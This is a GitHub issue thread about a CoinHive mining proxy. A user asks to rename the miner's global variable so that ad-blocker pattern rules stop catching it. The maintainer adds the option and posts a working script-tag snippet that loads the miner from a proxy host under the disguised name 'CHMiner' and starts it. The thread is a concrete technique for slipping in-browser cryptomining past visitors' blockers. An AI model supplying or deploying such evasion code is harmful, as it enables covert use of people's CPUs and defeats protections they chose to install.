Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Can’t I change the variable name declaration (CoinHive) to other names (CHMiner) ? #38

Closed
bobbieltd opened this issue Oct 24, 2017 · 2 comments

Comments

@bobbieltd
Copy link

Hi !
Thank you alot for your projects. As in new deployment in now.sh, I think I can’t change the variable name which is CoinHive to another name. Can you make an option available to deploy with another name which isn’t CoinHive ?
Reason : to avoid pattern block ( CoinHive.Anonymous(...), CoinHive.User(...) .... )

@cazala
Copy link
Owner

cazala commented Oct 25, 2017

Are you getting blocked by an AdBlock?

@cazala
Copy link
Owner

cazala commented Oct 25, 2017

I added the ability to rename the global CoinHive variable by passing a value in the party parameter of the miner url, like this:

<script src="https://party-khlizaweshj.now.sh/client?party=CHMiner"></script>

Now you can access the CoinHive object as CHMiner, like this:

<script src="https://party-khlizaweshj.now.sh/client?party=CHMiner"></script>
<script>
  var miner = new CHMiner.Anonymous('<YOUR-SITE-KEY>');
  miner.start();
</script>

You will need to rebuild your instance or get a new proxy in order to use this feature

@cazala cazala closed this as completed Oct 25, 2017
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants